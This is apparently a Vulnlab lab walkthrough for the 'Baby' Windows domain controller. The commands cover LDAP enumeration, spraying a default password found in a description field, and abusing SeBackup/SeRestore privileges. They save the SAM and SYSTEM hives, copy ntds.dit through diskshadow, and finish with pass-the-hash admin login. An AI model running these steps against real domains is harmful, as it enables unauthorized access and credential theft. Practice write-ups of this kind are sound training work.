Baby is an easy machine on Vulnlab
https://wiki.vulnlab.com/intro/lab-access
that involves enumerating LDAP & spraying credentials. For SYSTEM we exploit SeBackup & SeRestore Privileges.
The initial port scan shows the following ports:
# Nmap 7.94SVN scan initiated Thu May 30 09:32:08 2024 as: nmap -Pn -A -sC -sV -oN ports.txt 10.10.121.207 Nmap scan report for 10.10.121.207 Host is up (0.019s latency). Not shown: 987 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-05-30 07:32:19Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: baby.vl0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: baby.vl0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 3389/tcp open ms-wbt-server Microsoft Terminal Services |_ssl-date: 2024-05-30T07:33:05+00:00; +1s from scanner time. | ssl-cert: Subject: commonName=BabyDC.baby.vl | Not valid before: 2024-05-29T07:30:11 |_Not valid after: 2024-11-28T07:30:11 | rdp-ntlm-info: | Target_Name: BABY | NetBIOS_Domain_Name: BABY | NetBIOS_Computer_Name: BABYDC | DNS_Domain_Name: baby.vl | DNS_Computer_Name: BabyDC.baby.vl | Product_Version: 10.0.20348 |_ System_Time: 2024-05-30T07:32:25+00:00 5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Service Unavailable Service Info: Host: BABYDC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required | smb2-time: | date: 2024-05-30T07:32:29 |_ start_date: N/A Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Thu May 30 09:33:05 2024 -- 1 IP address (1 host up) scanned in 56.65 seconds ┌──(puck㉿kali)-[~/vulnlab/baby]
Next we add to our /etc/hosts
10.10.99.125 baby.vl
One thing to check on Active Directory machines is if anonymous bind to LDAP is possible. We try to enumerate users via ldapsearch:
┌──(puck㉿kali)-[~/vulnlab/baby] └─$ ldapsearch -x -H ldap://baby.vl -D '' -w '' -b "DC=baby,DC=vl" | grep sAMAccountName | awk -F: '{ print $2 }' | awk '{ gsub(/ /,""); print }' Guest DomainComputers CertPublishers DomainUsers DomainGuests GroupPolicyCreatorOwners RASandIASServers AllowedRODCPasswordReplicationGroup DeniedRODCPasswordReplicationGroup EnterpriseRead-onlyDomainControllers CloneableDomainControllers ProtectedUsers DnsAdmins DnsUpdateProxy dev Jacqueline.Barnett Ashley.Webb Hugh.George Leonard.Dyer it Connor.Wilkinson Joseph.Hughes Kerry.Wilson Teresa.Bell
.
Another point to check on LDAP is the description field of users. Sometimes administrators store valuable information there without realizing that unprivileged users have access to this kind of information:
┌──(puck㉿kali)-[~/vulnlab/baby] └─$ ldapsearch -x -H ldap://baby.vl -D '' -w '' -b "DC=baby,DC=vl" | grep desc description: Built-in account for guest access to the computer/domain description: All workstations and servers joined to the domain description: Members of this group are permitted to publish certificates to th description: All domain users description: All domain guests description: Members in this group can modify group policy for the domain description: Servers in this group can access remote access properties of user description: Members in this group can have their passwords replicated to all description: Members in this group cannot have their passwords replicated to a description: Members of this group are Read-Only Domain Controllers in the ent description: Members of this group that are domain controllers may be cloned. description: Members of this group are afforded additional protections against description: DNS Administrators Group description: DNS clients who are permitted to perform dynamic updates on behal description: Set initial password to BabyStart123! ┌──(puck㉿kali)-[~/vulnlab/baby] └─$
.
The password for Teresa.Bell was at some point reset to “BabyStart123!”. This is likely the default passwords admins use when a user has forgotten his password. We can try to use it for Teresa, but will notice that it’s not valid:
┌──(puck㉿kali)-[~/vulnlab/baby] └─$ crackmapexec smb baby.vl -u teresa.bell -p 'BabyStart123!' --no-bruteforce SMB baby.vl 445 BABYDC [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False) SMB baby.vl 445 BABYDC [-] baby.vl\teresa.bell:BabyStart123! STATUS_LOGON_FAILURE ┌──(puck㉿kali)-[~/vulnlab/baby]
Maybe it is valid for another user though. We create a wordlist “users.txt” from the usernames we saw in LDAP and spray the password across all accounts:
┌──(puck㉿kali)-[~/vulnlab/baby] └─$ crackmapexec smb baby.vl -u users.txt -p 'BabyStart123!' --no-bruteforce SMB baby.vl 445 BABYDC [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False) SMB baby.vl 445 BABYDC [-] baby.vl\Guest:BabyStart123! STATUS_LOGON_FAILURE SMB baby.vl 445 BABYDC [-] baby.vl\DomainComputers:BabyStart123! STATUS_LOGON_FAILURE SMB baby.vl 445 BABYDC [-] baby.vl\CertPublishers:BabyStart123! STATUS_LOGON_FAILURE SMB baby.vl 445 BABYDC [-] baby.vl\DomainUsers:BabyStart123! STATUS_LOGON_FAILURE SMB baby.vl 445 BABYDC [-] baby.vl\DomainGuests:BabyStart123! STATUS_LOGON_FAILURE SMB baby.vl 445 BABYDC [-] baby.vl\GroupPolicyCreatorOwners:BabyStart123! STATUS_LOGON_FAILURE SMB baby.vl 445 BABYDC [-] baby.vl\RASandIASServers:BabyStart123! STATUS_LOGON_FAILURE SMB baby.vl 445 BABYDC [-] baby.vl\AllowedRODCPasswordReplicationGroup:BabyStart123! STATUS_LOGON_FAILURE SMB baby.vl 445 BABYDC [-] baby.vl\DeniedRODCPasswordReplicationGroup:BabyStart123! STATUS_LOGON_FAILURE SMB baby.vl 445 BABYDC [-] baby.vl\EnterpriseRead-onlyDomainControllers:BabyStart123! STATUS_LOGON_FAILURE SMB baby.vl 445 BABYDC [-] baby.vl\CloneableDomainControllers:BabyStart123! STATUS_LOGON_FAILURE SMB baby.vl 445 BABYDC [-] baby.vl\ProtectedUsers:BabyStart123! STATUS_LOGON_FAILURE SMB baby.vl 445 BABYDC [-] baby.vl\DnsAdmins:BabyStart123! STATUS_LOGON_FAILURE SMB baby.vl 445 BABYDC [-] baby.vl\DnsUpdateProxy:BabyStart123! STATUS_LOGON_FAILURE SMB baby.vl 445 BABYDC [-] baby.vl\dev:BabyStart123! STATUS_LOGON_FAILURE SMB baby.vl 445 BABYDC [-] baby.vl\Jacqueline.Barnett:BabyStart123! STATUS_LOGON_FAILURE SMB baby.vl 445 BABYDC [-] baby.vl\Ashley.Webb:BabyStart123! STATUS_LOGON_FAILURE SMB baby.vl 445 BABYDC [-] baby.vl\Hugh.George:BabyStart123! STATUS_LOGON_FAILURE SMB baby.vl 445 BABYDC [-] baby.vl\Leonard.Dyer:BabyStart123! STATUS_LOGON_FAILURE SMB baby.vl 445 BABYDC [-] baby.vl\Ian.Walker:BabyStart123! STATUS_LOGON_FAILURE SMB baby.vl 445 BABYDC [-] baby.vl\it:BabyStart123! STATUS_LOGON_FAILURE SMB baby.vl 445 BABYDC [-] baby.vl\Connor.Wilkinson:BabyStart123! STATUS_LOGON_FAILURE SMB baby.vl 445 BABYDC [-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE SMB baby.vl 445 BABYDC [-] baby.vl\Joseph.Hughes:BabyStart123! STATUS_LOGON_FAILURE SMB baby.vl 445 BABYDC [-] baby.vl\Kerry.Wilson:BabyStart123! STATUS_LOGON_FAILURE SMB baby.vl 445 BABYDC [-] baby.vl\Teresa.Bell:BabyStart123! STATUS_LOGON_FAILURE ┌──(puck㉿kali)-[~/vulnlab/baby]
We have a hit for Caroline.Robinson, change her password via smbpasswd and use these credentials to login via WinRM:
.
.
└─$ smbpasswd -U BABY/caroline.robinson -r baby.vl Old SMB password: BabyStart123! New SMB password: Password123! Retype new SMB password: Password123! Password changed for user caroline.robinson └─$ evil-winrm -i baby.vl -u 'Caroline.Robinson' -p 'Password123!' *Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> whoami /all
.
We check our privileges with whoami /all
and see that we have SeRestore- & SeBackupPrivilege. This allows us to save SAM & SYSTEM and download it to our machine:
cd c:\ mkdir Temp cd \Temp reg save hklm\sam c:\Temp\sam reg save hklm\system c:\Temp\system |
After downloading the files, pypykatz or secretsdump can be used to obtain the administrator hash:
pypykatz registry --sam sam system ... Administrator:500:aad3b435b51404eeaad3b435b51404ee:8d992faed38128ae85e95fa35868bb43::: |
However, we cant connect with this hash. Why? It’s actually the local administrator hash which is not useable on a domain controller for logging in! Instead, we have to get the hash of the account in the domain (which has exactly the same name). In order to do this, we have to grab “ntds.dit” as well:
# save this in script.txt set metadata C:\Windows\Temp\meta.cabX set context clientaccessibleX set context persistentX begin backupX add volume C: alias cdriveX createX expose %cdrive% E:X end backupX # run diskshadow diskshadow /s script.txt # copy ntds to c robocopy /b E:\Windows\ntds . ntds.dit |
Now we can run secretsdump again, this time getting the domain account hashes by supplying “ntds.dit”:
impacket-secretsdump -sam sam -system system -ntds ntds.dit LOCAL ... [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Searching for pekList, be patient [*] PEK # 0 found and decrypted: 41d56bf9b458d01951f592ee4ba00ea6 [*] Reading and decrypting hashes from ntds.dit Administrator:500:aad3b435b51404eeaad3b435b51404ee:<REDACTED>::: |
Finally we can use the hash to connect via WinRM:
evil-winrm -i baby.vl -u Administrator -H ee4457ae59f1e3fbd764e33d9cef123d
That’s all
Beyond root
*Evil-WinRM* PS C:\> Get-ScheduledTask TaskPath TaskName State -------- -------- ----- \ CreateExplorerShellUnelevatedTask Ready \ MicrosoftEdgeUpdateTaskMachine... Ready \ MicrosoftEdgeUpdateTaskMachineUA Ready \ restore_password Disabled \Microsoft\Windows\ Server Initial Configuration Task Disabled \Microsoft\Windows\.NET Framework\ .NET Framework NGEN v4.0.30319 Ready etc..etc *Evil-WinRM* PS C:\> Get-Childitem -Path C:\ -Filter restore_password -Recurse -ErrorAction SilentlyContinue -Force Directory: C:\Windows\System32\Tasks Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 7/30/2023 7:53 AM 2594 restore_password
*Evil-WinRM* PS C:\Windows\System32\Tasks> dir Directory: C:\Windows\System32\Tasks Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 8/19/2021 1:32 PM Microsoft -a---- 9/7/2023 6:30 PM 3650 CreateExplorerShellUnelevatedTask -a---- 11/21/2021 12:41 PM 3184 MicrosoftEdgeUpdateTaskMachineCore -a---- 11/21/2021 12:41 PM 3408 MicrosoftEdgeUpdateTaskMachineUA -a---- 7/30/2023 7:53 AM 2594 restore_password *Evil-WinRM* PS C:\Windows\System32\Tasks> type restore_password <?xml version="1.0" encoding="UTF-16"?> <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"> <RegistrationInfo> <Date>2022-01-20T07:36:00</Date> <Author>BABY\Administrator</Author> <URI>\restore_password</URI> </RegistrationInfo> <Principals> <Principal id="Author"> <UserId>S-1-5-18</UserId> </Principal> </Principals> <Settings> <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> <Enabled>false</Enabled> <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy> <IdleSettings> <Duration>PT10M</Duration> <WaitTimeout>PT1H</WaitTimeout> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> </Settings> <Triggers> <TimeTrigger> <StartBoundary>2022-01-20T07:36:00</StartBoundary> <Repetition> <Interval>PT3M</Interval> </Repetition> </TimeTrigger> </Triggers> <Actions Context="Author"> <Exec> <Command>c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe</Command> <Arguments>-exec bypass -file c:\windows\temp\password_restore.ps1</Arguments> </Exec> </Actions> </Task> *Evil-WinRM* PS C:\Windows\System32\Tasks> type c:\windows\temp\password_restore.ps1 $Pass = ConvertTo-SecureString "BabyStart123!" -AsPlainText -Force Set-ADAccountPassword -Identity Caroline.Robinson -NewPassword $Pass -Reset Set-ADUser -Identity Caroline.Robinson -ChangePasswordAtLogon $true *Evil-WinRM* PS C:\Windows\System32\Tasks> hostname BabyDC *Evil-WinRM* PS C:\Windows\System32\Tasks>
.